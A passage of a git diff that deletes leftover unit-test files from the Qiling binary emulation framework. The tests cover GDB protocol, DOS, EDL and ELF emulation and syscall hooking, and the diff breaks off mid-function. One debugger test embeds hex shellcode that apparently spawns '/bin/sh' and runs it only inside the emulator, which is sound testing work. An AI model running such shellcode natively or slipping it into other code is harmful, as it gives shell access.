--- a/tests/test_debugger.py.orig +++ /dev/null @@ -1,196 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys, threading, unittest, socket, time - -sys.path.append("..") -from qiling import Qiling -from qiling.const import QL_VERBOSE - -class SimpleGdbClient: - DELAY = 0.6 - - def __init__(self, host: str, port: int): - sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) - txtf = sock.makefile('w') - - sock.connect((host, port)) - - self.__sock = sock - self.__file = txtf - - def __enter__(self): - return self - - def __exit__(self, ex_type, ex_value, ex_traceback): - self.__sock.close() - - @staticmethod - def checksum(data: str) -> int: - return sum(ord(c) for c in data) & 0xff - - def send(self, msg: str): - time.sleep(SimpleGdbClient.DELAY) - - self.__file.write(f'${msg}#{SimpleGdbClient.checksum(msg):02x}') - self.__file.flush() - -class DebuggerTest(unittest.TestCase): - - def test_gdbdebug_file_server(self): - ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_hello"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) - ql.debugger = True - - # some random command test just to make sure we covered most of the command - def gdb_test_client(): - # yield to allow ql to launch its gdbserver - time.sleep(1.337 * 2) - - with SimpleGdbClient('127.0.0.1', 9999) as client: - client.send('qSupported:multiprocess+;swbreak+;hwbreak+;qRelocInsn+;fork-events+;vfork-events+;exec-events+;vContSupported+;QThreadEvents+;no-resumed+;xmlRegisters=i386') - client.send('vMustReplyEmpty') - client.send('QStartNoAckMode') - client.send('Hgp0.0') - client.send('qXfer:auxv:read::0, 1000') - client.send('?') - client.send('qXfer:threads:read::0,fff') - client.send(f'qAttached:{ql.os.pid}') - client.send('qC') - client.send('g') - client.send('m555555554040, 1f8') - client.send('m555555554000, 100') - client.send('m200, 100') - client.send('p10') - client.send('Z0,555555554ada, 1') - client.send('c') - client.send('k') - - # yield to make sure ql gdbserver has enough time to receive our last command - time.sleep(1.337) - - threading.Thread(target=gdb_test_client, daemon=True).start() - - ql.run() - del ql - - def test_gdbdebug_mips32(self): - ql = Qiling(["../examples/rootfs/mips32_linux/bin/mips32_hello"], "../examples/rootfs/mips32_linux", verbose=QL_VERBOSE.DEBUG) - ql.debugger = True - - # some random command test just to make sure we covered most of the command - def gdb_test_client(): - # yield to allow ql to launch its gdbserver - time.sleep(1.337 * 2) - - with SimpleGdbClient('127.0.0.1', 9999) as client: - client.send('qSupported:multiprocess+;swbreak+;hwbreak+;qRelocInsn+;fork-events+;vfork-events+;exec-events+;vContSupported+;QThreadEvents+;no-resumed+;xmlRegisters=i386') - client.send('vMustReplyEmpty') - client.send('QStartNoAckMode') - client.send('Hgp0.0') - client.send('qXfer:auxv:read::0, 1000') - client.send('?') - client.send('qXfer:threads:read::0,fff') - client.send(f'qAttached:{ql.os.pid}') - client.send('qC') - client.send('g') - client.send('m47ccd10,4') - client.send('qXfer:threads:read::0,1000') - client.send('m56555620,4') - client.send('m5655561c,4') - client.send('m56555620,4') - client.send('m5655561c,4') - client.send('m56555620,4') - client.send('qTStatus') - client.send('qTfP') - client.send('m56555600,40') - client.send('m56555620,4') - client.send('Z0,47ccd10,4') - client.send('QPassSignals:e;10;14;17;1a;1b;1c;21;24;25;2c;4c;97;') - client.send('vCont?') - client.send('vCont;c:pa410.-1') - client.send('c') - client.send('k') - - # yield to make sure ql gdbserver has enough time to receive our last command - time.sleep(1.337) - - threading.Thread(target=gdb_test_client, daemon=True).start() - - ql.run() - del ql - - def test_gdbdebug_armeb(self): - ql = Qiling(["../examples/rootfs/armeb_linux/bin/armeb_hello"], "../examples/rootfs/armeb_linux", verbose=QL_VERBOSE.DEBUG) - ql.debugger = True - - # some random command test just to make sure we covered most of the command - def gdb_test_client(): - # yield to allow ql to launch its gdbserver - time.sleep(1.337 * 2) - - with SimpleGdbClient('127.0.0.1', 9999) as client: - client.send('qSupported:multiprocess+;swbreak+;hwbreak+;qRelocInsn+;fork-events+;vfork-events+;exec-events+;vContSupported+;QThreadEvents+;no-resumed+;xmlRegisters=i386') - client.send('vMustReplyEmpty') - client.send('QStartNoAckMode') - client.send('Hgp0.0') - client.send('qXfer:auxv:read::0, 1000') - client.send('?') - client.send('qXfer:threads:read::0,fff') - client.send(f'qAttached:{ql.os.pid}') - client.send('qC') - client.send('g') - client.send('m47ccd10,4') - client.send('qXfer:threads:read::0,1000') - client.send('z0,47ca5fc,4') - client.send('m0,4') - client.send('mfffffffc,4') - client.send('m0,4') - client.send('mfffffffc,4') - client.send('m0,4') - client.send('p1d') - client.send('qTStatus') - client.send('c') - client.send('k') - - # yield to make sure ql gdbserver has enough time to receive our last command - time.sleep(1.337) - - threading.Thread(target=gdb_test_client, daemon=True).start() - - ql.run() - del ql - - def test_gdbdebug_shellcode_server(self): - X8664_LIN = bytes.fromhex('31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05') - - ql = Qiling(code=X8664_LIN, archtype='x8664', ostype='linux') - ql.debugger = 'gdb:127.0.0.1:9998' - - def gdb_test_client(): - # yield to allow ql to launch its gdbserver - time.sleep(1.337 * 2) - - with SimpleGdbClient('127.0.0.1', 9998) as client: - client.send('qSupported:multiprocess+;swbreak+;hwbreak+;qRelocInsn+;fork-events+;vfork-events+;exec-events+;vContSupported+;QThreadEvents+;no-resumed+;xmlRegisters=i386') - client.send('vMustReplyEmpty') - client.send('QStartNoAckMode') - client.send('Hgp0.0') - client.send('?') - client.send('qC') - client.send('g') - client.send('p10') - client.send('c') - client.send('k') - - # yield to make sure ql gdbserver has enough time to receive our last command - time.sleep(1.337) - - threading.Thread(target=gdb_test_client, daemon=True).start() - - ql.run() - del ql - -if __name__ == "__main__": - unittest.main() \ No newline at end of file diff --git a/tests/test_dos.py.orig b/tests/test_dos.py.orig deleted file mode 100644 index 449b19a01..000000000 --- a/tests/test_dos.py.orig +++ /dev/null @@ -1,38 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys, unittest -sys.path.append('..') - -from qiling import Qiling -from qiling.const import QL_INTERCEPT, QL_VERBOSE - -class Checklist: - def __init__(self) -> None: - self.visited_onenter = False - self.visited_onexit = False - -class DOSTest(unittest.TestCase): - - def test_dos_8086_hello(self): - ql = Qiling(["../examples/rootfs/8086/dos/HI.DOS_COM"], "../examples/rootfs/8086/dos", verbose=QL_VERBOSE.DEBUG) - ck = Checklist() - - def onenter(ql: Qiling): - ck.visited_onenter = True - - def onexit(ql: Qiling): - ck.visited_onexit = True - - ql.os.set_api((0x21, 0x09), onexit, QL_INTERCEPT.EXIT) - ql.os.set_api((0x21, 0x4c), onenter, QL_INTERCEPT.ENTER) - - ql.run() - - self.assertTrue(ck.visited_onenter) - self.assertTrue(ck.visited_onexit) - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_dos_exe.py.orig b/tests/test_dos_exe.py.orig deleted file mode 100644 index d98b17303..000000000 --- a/tests/test_dos_exe.py.orig +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys, unittest -sys.path.append('..') - -from qiling import Qiling - -class DOSTest(unittest.TestCase): - - def test_dos_8086_hello(self): - ql = Qiling(["../examples/rootfs/8086/dos/ARKA.DOS_EXE"], "../examples/rootfs/8086/dos") - - # TODO: missing implemention of INT 3Ch and INT 03h - with self.assertRaises(NotImplementedError): - ql.run() - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_edl.py.orig b/tests/test_edl.py.orig deleted file mode 100644 index 7f86845a0..000000000 --- a/tests/test_edl.py.orig +++ /dev/null @@ -1,96 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import os, sys, time, unittest -from struct import pack - -sys.path.append("..") -from qiling import * -from qiling.const import QL_VERBOSE -from unicorn import * -from unicorn.arm64_const import * - -def replace_function(ql,addr,callback): - def runcode(ql): - ret=callback(ql) - ql.arch.regs.x0=ret - ql.arch.regs.pc=ql.arch.regs.x30 #lr - ql.hook_address(runcode,addr) - -def hook_mem_invalid(uc, access, address, size, value, user_data): - pc = uc.reg_read(UC_ARM64_REG_PC) - if access == UC_MEM_WRITE: - info=("invalid WRITE of 0x%x at 0x%X, data size = %u, data value = 0x%x" % (address, pc, size, value)) - if access == UC_MEM_READ: - info=("invalid READ of 0x%x at 0x%X, data size = %u" % (address, pc, size)) - if access == UC_MEM_FETCH: - info=("UC_MEM_FETCH of 0x%x at 0x%X, data size = %u" % (address, pc, size)) - if access == UC_MEM_READ_UNMAPPED: - info=("UC_MEM_READ_UNMAPPED of 0x%x at 0x%X, data size = %u" % (address, pc, size)) - if access == UC_MEM_WRITE_UNMAPPED: - info=("UC_MEM_WRITE_UNMAPPED of 0x%x at 0x%X, data size = %u" % (address, pc, size)) - if access == UC_MEM_FETCH_UNMAPPED: - info=("UC_MEM_FETCH_UNMAPPED of 0x%x at 0x%X, data size = %u" % (address, pc, size)) - if access == UC_MEM_WRITE_PROT: - info=("UC_MEM_WRITE_PROT of 0x%x at 0x%X, data size = %u" % (address, pc, size)) - if access == UC_MEM_FETCH_PROT: - info=("UC_MEM_FETCH_PROT of 0x%x at 0x%X, data size = %u" % (address, pc, size)) - if access == UC_MEM_FETCH_PROT: - info=("UC_MEM_FETCH_PROT of 0x%x at 0x%X, data size = %u" % (address, pc, size)) - if access == UC_MEM_READ_AFTER: - info=("UC_MEM_READ_AFTER of 0x%x at 0x%X, data size = %u" % (address, pc, size)) - print(info) - return False - -class TestAndroid(unittest.TestCase): - def test_edl_arm64(self): - test_binary = "../examples/rootfs/arm64_edl/bin/arm64_edl" - rootfs = "../examples/rootfs/arm64_edl" - - ql = Qiling([test_binary], rootfs, verbose=QL_VERBOSE.DEBUG) - - ql.arch.enable_vfp() - - def devprg_time_usec(ql): - current_milli_time = int(round(time.time() * 1000)) - ql.arch.regs.x0 = current_milli_time - return current_milli_time - - def devprg_tx_blocking(ql): - ptr = ql.arch.regs.x0 - plen = ql.arch.regs.x1 - data = ql.mem.read(ptr, plen) - res=bytes(data) - if b"response" in res: - tmp=res.decode('utf-8').split("\n") - if len(tmp)>2: - tmp=tmp[2].split("\"") - if len(tmp)>1: - ql.buf_out=tmp[1] - return 0 - - ql.hook_mem_invalid(hook_mem_invalid) - replace_function(ql, 0x148595A0, devprg_time_usec) # Register 0xC221000 - replace_function(ql, 0x1485C614, devprg_tx_blocking) # Function being used by UART in DP_LOGI - - ql.arch.regs.sp = 0x146B2000 # SP from main - xml_buffer_addr = 0x14684E80 # We extracted that from devprg_get_xml_buffer - device_serial_addr = 0x148A8A8C - device_serial = pack("\n\n\x00" - ql.arch.regs.x0 = xml_buffer_addr - ql.arch.regs.x1 = len(uart_data) - ql.mem.write(xml_buffer_addr, uart_data) - ql.mem.write(device_serial_addr, device_serial) - handle_xml_addr_start=0x14857C94 - handle_xml_addr_end=0x14857D4C - ql.run(begin=handle_xml_addr_start, end=handle_xml_addr_end) - - self.assertEqual("ACK", ql.buf_out) - - del ql - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_elf.py.orig b/tests/test_elf.py.orig deleted file mode 100644 index 48d071865..000000000 --- a/tests/test_elf.py.orig +++ /dev/null @@ -1,1164 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys, unittest, string, random, os, io, re - -sys.path.append("..") -from qiling import Qiling -from qiling.const import QL_OS, QL_INTERCEPT, QL_STOP, QL_VERBOSE -from qiling.exception import * -from qiling.extensions import pipe -from qiling.os.const import STRING -from qiling.os.posix import syscall -from qiling.os.mapper import QlFsMappedObject - -class ELFTest(unittest.TestCase): - - - def test_libpatch_elf_linux_x8664(self): - ql = Qiling(["../examples/rootfs/x8664_linux/bin/patch_test.bin"], "../examples/rootfs/x8664_linux") - ql.patch(0x0000000000000575, b'qiling\x00', target='libpatch_test.so') - ql.run() - del ql - - - def test_elf_freebsd_x8664(self): - ql = Qiling(["../examples/rootfs/x8664_freebsd/bin/x8664_hello_asm"], "../examples/rootfs/x8664_freebsd", verbose=QL_VERBOSE.DUMP) - ql.run() - del ql - - - def test_elf_partial_linux_x8664(self): - def dump(ql, *args, **kw): - ql.save(reg=False, cpu_context=True, snapshot="/tmp/snapshot.bin") - ql.emu_stop() - - ql = Qiling(["../examples/rootfs/x8664_linux/bin/sleep_hello"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEFAULT) - X64BASE = int(ql.profile.get("OS64", "load_address"), 16) - ql.hook_address(dump, X64BASE + 0x1094) - ql.run() - - ql = Qiling(["../examples/rootfs/x8664_linux/bin/sleep_hello"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) - X64BASE = int(ql.profile.get("OS64", "load_address"), 16) - ql.restore(snapshot="/tmp/snapshot.bin") - begin_point = X64BASE + 0x109e - end_point = X64BASE + 0x10bc - ql.run(begin = begin_point, end = end_point) - - del ql - - def test_elf_x_only_segment(self): - def stop(ql, *args, **kw): - ql.emu_stop() - - ql = Qiling(["../examples/rootfs/x8664_linux/bin/sleep_hello_with_x_only_segment"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) - X64BASE = int(ql.profile.get("OS64", "load_address"), 16) - ql.hook_address(stop, X64BASE + 0x1094) - ql.run() - - del ql - - def _test_elf_linux_x86_snapshot_restore_common(self, reg=False, ctx=False): - rootfs = "../examples/rootfs/x86_linux" - cmdline = ["../examples/rootfs/x86_linux/bin/x86_hello"] - snapshot = os.path.join(rootfs, 'snapshot_restore_reg_ctx.snapshot') - - ql = Qiling(cmdline, rootfs, verbose=QL_VERBOSE.DEBUG) - - X86BASE = int(ql.profile.get("OS32", "load_address"), 16) - hook_address = X86BASE + 0x542 # call printf - - def dump(ql): - nonlocal snapshot - nonlocal reg - nonlocal ctx - ql.save(reg=reg, cpu_context=ctx, os=True, loader=True, snapshot=snapshot) - ql.emu_stop() - ql.hook_address(dump, hook_address) - - ql.run() - - # make sure that the ending PC is the same as the hook address because dump stops the emulater - assert ql.arch.regs.arch_pc == hook_address, f"0x{ql.arch.regs.arch_pc:x} != 0x{hook_address:x}" - del ql - - ql = Qiling(cmdline, rootfs, verbose=QL_VERBOSE.DEBUG) - ql.restore(snapshot=snapshot) - - # ensure that the starting PC is same as the PC we stopped on when taking the snapshot - assert ql.arch.regs.arch_pc == hook_address, f"0x{ql.arch.regs.arch_pc:x} != 0x{hook_address:x}" - - ql.run(begin=hook_address) - del ql - - os.remove(snapshot) - - def test_elf_linux_x86_snapshot_restore_reg(self): - self._test_elf_linux_x86_snapshot_restore_common(reg=True, ctx=False) - - def test_elf_linux_x86_snapshot_restore_ctx(self): - self._test_elf_linux_x86_snapshot_restore_common(reg=False, ctx=True) - - def test_elf_linux_x86_snapshot_restore_reg_ctx(self): - self._test_elf_linux_x86_snapshot_restore_common(reg=True, ctx=True) - - PARAMS_PUTS = {'s': STRING} - - def test_elf_linux_x8664(self): - def my_puts(ql: Qiling): - params = ql.os.resolve_fcall_params(ELFTest.PARAMS_PUTS) - print(f'puts("{params["s"]}")') - reg = ql.arch.regs.read("rax") - print("reg : %#x" % reg) - self.set_api = reg - - def write_onEnter(ql: Qiling, fd: int, str_ptr: int, str_len: int, *args): - self.set_api_onenter = True - print("enter write syscall!") - - # override syscall pc (ignored) and set of params with our own - return None, (fd, str_ptr + 1, str_len - 1) - - def write_onexit(ql: Qiling, fd: int, str_ptr: int, str_len: int, retval: int, *args): - self.set_api_onexit = True - print("exit write syscall!") - - # override syscall return value with our own - return str_len + 1 - - ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_args","1234test", "12345678", "bin/x8664_hello"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) - ql.os.set_syscall(1, write_onEnter, QL_INTERCEPT.ENTER) - ql.os.set_api('puts', my_puts) - ql.os.set_syscall(1, write_onexit, QL_INTERCEPT.EXIT) - ql.mem.map(0x1000, 0x1000) - ql.mem.write(0x1000, b"\xFF\xFE\xFD\xFC\xFB\xFA\xFB\xFC\xFC\xFE\xFD") - ql.mem.map(0x2000, 0x1000) - ql.mem.write(0x2000, b"\xFF\xFE\xFD\xFC\xFB\xFA\xFB\xFC\xFC\xFE\xFD") - ql.run() - - self.assertEqual([0x1000,0x2000], ql.mem.search(b"\xFF\xFE\xFD\xFC\xFB\xFA\xFB\xFC\xFC\xFE\xFD")) - self.assertEqual(0x5555555546ca, self.set_api) - self.assertEqual(True, self.set_api_onexit) - self.assertEqual(True, self.set_api_onenter) - - del self.set_api - del self.set_api_onexit - del self.set_api_onenter - del ql - - def test_elf_hijackapi_linux_x8664(self): - - def my_puts_enter(ql: Qiling): - params = ql.os.resolve_fcall_params(ELFTest.PARAMS_PUTS) - self.test_enter_str = params["s"] - - def my_puts_exit(ql): - self.test_exit_rdi = ql.arch.regs.rdi - - ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_puts"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) - ql.os.set_api('puts', my_puts_enter, QL_INTERCEPT.ENTER) - ql.os.set_api('puts', my_puts_exit, QL_INTERCEPT.EXIT) - - ql.run() - - - if self.test_exit_rdi == 140736282240864: - self.test_exit_rdi = 0x1 - - self.assertEqual(0x1, self.test_exit_rdi) - self.assertEqual("CCCC", self.test_enter_str) - - del self.test_exit_rdi - del self.test_enter_str - del ql - - - def test_elf_linux_x8664_flex_api(self): - opened = [] - - def onenter_fopen(ql: Qiling): - params = ql.os.resolve_fcall_params({ - 'filename' : STRING, - 'mode' : STRING - }) - - # log opened filenames - opened.append(params['filename']) - - def hook_main(ql: Qiling): - # set up fopen hook when reaching main - ql.os.set_api('fopen', onenter_fopen, QL_INTERCEPT.ENTER) - - ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_fetch_urandom"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEFAULT) - - ba = ql.loader.images[0].base - ql.hook_address(hook_main, ba + 0x10e0) - ql.run() - del ql - - # test whether we interpected opening urandom - self.assertListEqual(opened, [r'/dev/urandom']) - - - def test_elf_linux_x8664_static(self): - ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_hello_static"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) - ql.run() - del ql - - - def test_elf_linux_x86(self): - filename = 'test.qlog' - - ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_hello"], "../examples/rootfs/x86_linux", verbose=QL_VERBOSE.DEBUG, log_file=filename) - ql.run() - - os.remove(filename) - del ql - - - def test_elf_linux_x86_static(self): - ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_hello_static"], "../examples/rootfs/x86_linux", verbose=QL_VERBOSE.DEBUG) - ql.run() - del ql - - - def test_elf_linux_x86_posix_syscall(self): - def test_syscall_read(ql, read_fd, read_buf, read_count, *args): - target = False - pathname = ql.os.fd[read_fd].name.split('/')[-1] - - if pathname == "test_syscall_read.txt": - print("test => read(%d, %s, %d)" % (read_fd, pathname, read_count)) - target = True - - regreturn = syscall.ql_syscall_read(ql, read_fd, read_buf, read_count, *args) - - if target: - real_path = ql.os.fd[read_fd].name - with open(real_path) as fd: - assert fd.read() == ql.mem.read(read_buf, read_count).decode() - if ql.host.os != QL_OS.WINDOWS: - os.remove(real_path) - - return regreturn - - def test_syscall_write(ql, write_fd, write_buf, write_count, *args): - target = False - pathname = ql.os.fd[write_fd].name.split('/')[-1] - - if pathname == "test_syscall_write.txt": - print("test => write(%d, %s, %d)" % (write_fd, pathname, write_count)) - target = True - - regreturn = syscall.ql_syscall_write(ql, write_fd, write_buf, write_count, *args) - - if target: - real_path = ql.os.fd[write_fd].name - with open(real_path) as fd: - assert fd.read() == 'Hello testing\x00' - if ql.host.os != QL_OS.WINDOWS: - os.remove(real_path) - - return regreturn - - def test_syscall_openat(ql, openat_fd, openat_path, openat_flags, openat_mode, *args): - target = False - pathname = ql.os.utils.read_cstring(openat_path) - - if pathname == "test_syscall_open.txt": - print("test => openat(%d, %s, 0x%x, 0%o)" % (openat_fd, pathname, openat_flags, openat_mode)) - target = True - - regreturn = syscall.ql_syscall_openat(ql, openat_fd, openat_path, openat_flags, openat_mode, *args) - - if target: - real_path = ql.os.path.transform_to_real_path(pathname) - assert os.path.isfile(real_path) == True - if ql.host.os != QL_OS.WINDOWS: - os.remove(real_path) - - return regreturn - - def test_syscall_unlink(ql, unlink_pathname, *args): - target = False - pathname = ql.os.utils.read_cstring(unlink_pathname) - - if pathname == "test_syscall_unlink.txt": - print("test => unlink(%s)" % (pathname)) - target = True - - regreturn = syscall.ql_syscall_unlink(ql, unlink_pathname, *args) - - if target: - real_path = ql.os.path.transform_to_real_path(pathname) - assert os.path.isfile(real_path) == False - - return regreturn - - def test_syscall_truncate(ql, trunc_pathname, trunc_length, *args): - target = False - pathname = ql.os.utils.read_cstring(trunc_pathname) - - if pathname == "test_syscall_truncate.txt": - print("test => truncate(%s, 0x%x)" % (pathname, trunc_length)) - target = True - - regreturn = syscall.ql_syscall_truncate(ql, trunc_pathname, trunc_length, *args) - - if target: - real_path = ql.os.path.transform_to_real_path(pathname) - assert os.stat(real_path).st_size == 0 - if ql.host.os != QL_OS.WINDOWS: - os.remove(real_path) - - return regreturn - - def test_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args): - target = False - pathname = ql.os.fd[ftrunc_fd].name.split('/')[-1] - - reg = ql.arch.regs.read("eax") - print("reg : 0x%x" % reg) - ql.arch.regs.eax = reg - - if pathname == "test_syscall_ftruncate.txt": - print("test => ftruncate(%d, 0x%x)" % (ftrunc_fd, ftrunc_length)) - target = True - - regreturn = syscall.ql_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args) - - if target: - real_path = ql.os.path.transform_to_real_path(pathname) - assert os.stat(real_path).st_size == 0x10 - if ql.host.os != QL_OS.WINDOWS: - os.remove(real_path) - - return regreturn - - ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_posix_syscall"], "../examples/rootfs/x86_linux", verbose=QL_VERBOSE.DEBUG) - ql.os.set_syscall(0x3, test_syscall_read) - ql.os.set_syscall(0x4, test_syscall_write) - ql.os.set_syscall(0x127, test_syscall_openat) - ql.os.set_syscall(0xa, test_syscall_unlink) - ql.os.set_syscall(0x5c, test_syscall_truncate) - ql.os.set_syscall(0x5d, test_syscall_ftruncate) - ql.run() - del ql - - - def test_elf_linux_arm(self): - def my_puts(ql): - params = ql.os.resolve_fcall_params(ELFTest.PARAMS_PUTS) - print(f'puts("{params["s"]}")') - - all_mem = ql.mem.save() - ql.mem.restore(all_mem) - - ql = Qiling(["../examples/rootfs/arm_linux/bin/arm_hello"], "../examples/rootfs/arm_linux", verbose=QL_VERBOSE.DEBUG) - ql.os.set_api('puts', my_puts) - ql.run() - del ql - - - def test_elf_linux_arm_static(self): - ql = Qiling(["../examples/rootfs/arm_linux/bin/arm_hello_static"], "../examples/rootfs/arm_linux", verbose=QL_VERBOSE.DEFAULT) - all_mem = ql.mem.save() - ql.mem.restore(all_mem) - ql.run() - del ql - - - # syscall testing for ARM, will be uncomment after ARM executable generated properly. - # def test_elf_linux_arm_posix_syscall(self): - # def test_syscall_read(ql, read_fd, read_buf, read_count, *args): - # target = False - # pathname = ql.os.fd[read_fd].name.split('/')[-1] - - # if pathname == "test_syscall_read.txt": - # print("test => read(%d, %s, %d)" % (read_fd, pathname, read_count)) - # target = True - - # syscall.ql_syscall_read(ql, read_fd, read_buf, read_count, *args) - - # if target: - # real_path = ql.os.fd[read_fd].name - # with open(real_path) as fd: - # assert fd.read() == ql.mem.read(read_buf, read_count).decode() - # os.remove(real_path) - - # def test_syscall_write(ql, write_fd, write_buf, write_count, *args): - # target = False - # pathname = ql.os.fd[write_fd].name.split('/')[-1] - - # if pathname == "test_syscall_write.txt": - # print("test => write(%d, %s, %d)" % (write_fd, pathname, write_count)) - # target = True - - # syscall.ql_syscall_write(ql, write_fd, write_buf, write_count, *args) - - # if target: - # real_path = ql.os.fd[write_fd].name - # with open(real_path) as fd: - # assert fd.read() == 'Hello testing\x00' - # os.remove(real_path) - - # def test_syscall_open(ql, open_pathname, open_flags, open_mode, *args): - # target = False - # pathname = ql.os.utils.read_cstring(open_pathname) - - # if pathname == "test_syscall_open.txt": - # print("test => open(%s, 0x%x, 0%o)" % (pathname, open_flags, open_mode)) - # target = True - - # syscall.ql_syscall_open(ql, open_pathname, open_flags, open_mode, *args) - - # if target: - # real_path = ql.os.path.transform_to_real_path(pathname) - # assert os.path.isfile(real_path) == True - # os.remove(real_path) - - # def test_syscall_unlink(ql, unlink_pathname, *args): - # target = False - # pathname = ql.os.utils.read_cstring(unlink_pathname) - - # if pathname == "test_syscall_unlink.txt": - # print("test => unlink(%s)" % (pathname)) - # target = True - - # syscall.ql_syscall_unlink(ql, unlink_pathname, *args) - - # if target: - # real_path = ql.os.path.transform_to_real_path(pathname) - # assert os.path.isfile(real_path) == False - - # def test_syscall_truncate(ql, trunc_pathname, trunc_length, *args): - # target = False - # pathname = ql.os.utils.read_cstring(trunc_pathname) - - # if pathname == "test_syscall_truncate.txt": - # print("test => truncate(%s, 0x%x)" % (pathname, trunc_length)) - # target = True - - # syscall.ql_syscall_truncate(ql, trunc_pathname, trunc_length, *args) - - # if target: - # real_path = ql.os.path.transform_to_real_path(pathname) - # assert os.stat(real_path).st_size == 0 - # os.remove(real_path) - - # def test_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args): - # target = False - # pathname = ql.os.fd[ftrunc_fd].name.split('/')[-1] - - # if pathname == "test_syscall_ftruncate.txt": - # print("test => ftruncate(%d, 0x%x)" % (ftrunc_fd, ftrunc_length)) - # target = True - - # syscall.ql_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args) - - # if target: - # real_path = ql.os.path.transform_to_real_path(pathname) - # assert os.stat(real_path).st_size == 0x10 - # os.remove(real_path) - - # ql = Qiling(["../examples/rootfs/arm_linux/bin/arm_posix_syscall"], "../examples/rootfs/arm_linux", verbose=QL_VERBOSE.DEBUG) - # ql.os.set_syscall(0x3, test_syscall_read) - # ql.os.set_syscall(0x4, test_syscall_write) - # ql.os.set_syscall(0x5, test_syscall_open) - # ql.os.set_syscall(0xa, test_syscall_unlink) - # ql.os.set_syscall(0x5c, test_syscall_truncate) - # ql.os.set_syscall(0x5d, test_syscall_ftruncate) - # ql.run() - # del ql - - - def test_elf_linux_arm64(self): - ql = Qiling(["../examples/rootfs/arm64_linux/bin/arm64_hello"], "../examples/rootfs/arm64_linux", verbose=QL_VERBOSE.DEBUG) - ql.run() - del ql - - - def test_elf_linux_arm64_static(self): - ql = Qiling(["../examples/rootfs/arm64_linux/bin/arm64_hello_static"], "../examples/rootfs/arm64_linux", verbose=QL_VERBOSE.DEFAULT) - ql.run() - del ql - - - def test_elf_linux_mips32eb_static(self): - ql = Qiling(["../examples/rootfs/mips32_linux/bin/mips32_hello_static"], "../examples/rootfs/mips32_linux") - ql.run() - del ql - - - def test_elf_linux_mips32eb(self): - def random_generator(size=6, chars=string.ascii_uppercase + string.digits): - return ''.join(random.choice(chars) for x in range(size)) - - ql = Qiling(["../examples/rootfs/mips32_linux/bin/mips32_hello", random_generator(random.randint(1,99))], "../examples/rootfs/mips32_linux") - ql.run() - - del ql - - - def test_mips32eb_fake_urandom(self): - class Fake_urandom(QlFsMappedObject): - - def read(self, size): - return b"\x01" - - def fstat(self): - return -1 - - def close(self): - return 0 - - ql = Qiling(["../examples/rootfs/mips32_linux/bin/mips32_fetch_urandom"], "../examples/rootfs/mips32_linux") - ql.add_fs_mapper("/dev/urandom", Fake_urandom()) - - ql.exit_code = 0 - ql.exit_group_code = 0 - - def check_exit_group_code(ql, exit_code, *args, **kw): - ql.exit_group_code = exit_code - - def check_exit_code(ql, exit_code, *args, **kw): - ql.exit_code = exit_code - - ql.os.set_syscall("exit_group", check_exit_group_code, QL_INTERCEPT.ENTER) - ql.os.set_syscall("exit", check_exit_code, QL_INTERCEPT.ENTER) - - ql.run() - self.assertEqual(0, ql.exit_code) - self.assertEqual(0, ql.exit_group_code) - del ql - - - def test_elf_onEnter_mips32el(self): - def my_puts_onenter(ql: Qiling): - params = ql.os.resolve_fcall_params(ELFTest.PARAMS_PUTS) - print(f'puts("{params["s"]}")') - - params = ql.os.fcall.readParams(ELFTest.PARAMS_PUTS.values()) - self.my_puts_onenter_addr = params[0] - - return 2 - - ql = Qiling(["../examples/rootfs/mips32el_linux/bin/mips32el_double_hello"], "../examples/rootfs/mips32el_linux") - ql.os.set_api('puts', my_puts_onenter, QL_INTERCEPT.ENTER) - ql.run() - - self.assertEqual(4196680, self.my_puts_onenter_addr) - - del ql - - - def test_elf_linux_arm64_posix_syscall(self): - def test_syscall_read(ql, read_fd, read_buf, read_count, *args): - target = False - pathname = ql.os.fd[read_fd].name.split('/')[-1] - - reg = ql.arch.regs.read("x0") - print("reg : 0x%x" % reg) - ql.arch.regs.x0 = reg - - if pathname == "test_syscall_read.txt": - print("test => read(%d, %s, %d)" % (read_fd, pathname, read_count)) - target = True - - regreturn = syscall.ql_syscall_read(ql, read_fd, read_buf, read_count, *args) - - if target: - real_path = ql.os.fd[read_fd].name - with open(real_path) as fd: - assert fd.read() == ql.mem.read(read_buf, read_count).decode() - if ql.host.os != QL_OS.WINDOWS: - os.remove(real_path) - - return regreturn - - - def test_syscall_write(ql, write_fd, write_buf, write_count, *args): - target = False - pathname = ql.os.fd[write_fd].name.split('/')[-1] - - if pathname == "test_syscall_write.txt": - print("test => write(%d, %s, %d)" % (write_fd, pathname, write_count)) - target = True - - regreturn = syscall.ql_syscall_write(ql, 